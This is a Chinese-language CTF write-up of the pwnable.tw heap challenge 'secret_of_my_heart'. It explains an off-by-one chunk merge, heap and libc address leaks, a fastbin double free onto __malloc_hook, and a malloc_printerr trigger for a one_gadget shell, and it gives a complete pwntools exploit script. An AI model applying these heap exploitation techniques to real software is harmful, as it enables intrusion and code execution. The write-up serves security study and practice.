PWNABLE.TW-secret_of_my_heart-WP

Posted on Apr 1, 2021

一道堆题,主要的漏洞点是 off-by-one。

可见这里会在读入的字符串末尾加零,那么只要我们申请形如 0x18 的大小的空间,写入 0x18 个字符,就可以溢出一个字节,将下一个 chunk 的 size 域的 prev_inuse 位置零,然后把下一个 chunk free 掉,两个 chunk就可以合并。

程序中也有 show 的函数,所以不难想到通过 off-by-one 把两个 chunk 合并掉,让他进入 unsorted bin,然后通过 show 的功能 leak 出 main_arena,就可以实现 libc 基址的泄露。

这里有一个棘手的问题,前向合并的时候会进行 unlink 的操作,如果不进行合适的伪造就会造成段错误。如果要伪造,有两个选择,一是找出指向该处的指针,这个在一个随机的 mmap 段上,无法 leak;二是让 fd 和 bk 都指向自己的堆块头,这就需要 leak 堆基址

还是这个函数,这里可以向 name 数组写 0x20 个字符,正好和之后的 secret 指针相接,所以可以直接 leak 出堆地址。

转换成脚本就是这样

add('a' * 0x1F + '-',0x18,'index:0')
add("index:1",0xF0,'index:1')
add("index:2",0x68,'double_free_chunk2')
add("protect",0x10,'protect')

show(0)
sh.recvuntil("a-")
heap_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x10
log.success("heap_base:" + hex(heap_base))

delete(0)

payload = p64(heap_base) + p64(heap_base) + p64(0x20)
add('offbyone',0x18,payload)
delete(1)
show(0)
sh.recvuntil("Secret : ")
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.symbols["__malloc_hook"] - 0x10 - 88
log.success("libc_base:" + hex(libc_base))

通过以上的攻击,我们不仅 leak 出了堆基址和 libc 基址,还获得了一个指向 unsorted bin 的指针,也就是拥有了一个 double free 的能力,这样就可以进行 fastbin double free 实现 house of spirit(分配到 __malloc_hook - 0x23 上),接触为 one_gadget 就可以 getshell。

但是本题 one_gadget 全部失效,我尝试用 realloc 来调整也无果。后来了解到可以通过 malloc_printerr 来实现对 one_gadget 的成功调用来 getshell,也就是手动造成一个异常,用 malloc_printerr 来触发对 __malloc_hook 的调用,这个时候栈的情况就可以满足 constraints 了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
#context.terminal = ["tmux","splitw","-h"]

#sh = process("./secret_of_my_heart")
#libc = ELF("/glibc/2.23/64/lib/libc-2.23.so")
sh = remote("chall.pwnable.tw",10302)
libc = ELF("./libc_64.so.6")

def add(name,size,payload):
    sh.sendlineafter("choice :",'1')
    sh.sendlineafter("heart : ",str(size))
    sh.sendafter("heart :",name)
    sh.sendafter("heart :",payload)

def show(index):
    sh.sendlineafter("choice :",'2')
    sh.sendlineafter("Index :",str(index))

def delete(index):
    sh.sendlineafter("choice :",'3')
    sh.sendlineafter("Index :",str(index))

add('a' * 0x1F + '-',0x18,'index:0')
add("index:1",0xF0,'index:1')
add("index:2",0x68,'double_free_chunk2')
add("protect",0x10,'protect')

show(0)
sh.recvuntil("a-")
heap_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x10
log.success("heap_base:" + hex(heap_base))

delete(0)

payload = p64(heap_base) + p64(heap_base) + p64(0x20)
add('offbyone',0x18,payload)
delete(1)
show(0)
sh.recvuntil("Secret : ")
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.symbols["__malloc_hook"] - 0x10 - 88
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
realloc_addr = libc_base + libc.symbols["realloc"]
alloc_addr = malloc_hook - 0x23
one_gadget_addr = libc_base + 0xef6c4
system_addr = libc_base + libc.symbols["free"]
log.success("libc_base:" + hex(libc_base))

add("index:0",0x68,'double_free_chunk1')
delete(1)
delete(2)
delete(0)

add("index:0",0x68,p64(alloc_addr))#0
add("pass",0x68,"/bin/sh")#1
add("pass",0x68,"pass")#2
payload = 'a' * 0x13 + p64(one_gadget_addr)
add("malloc_hook",0x68,payload)

delete(2)
delete(0)

sh.interactive()

另一种劫持 __free_hook 的解法

这是在看雪上看到的,虽然很麻烦,但是感觉挺有意思。大体的解法就是直接到 main_arena 中修改 top_chunk 的地址,把它移到 __free_hook 上方,多次分配后既可以实现对 __free_hook 的任意写了。这种方法泛用性应该更高,毕竟执行 system 的成功率比 one_gadget 总体上还是要高出不少。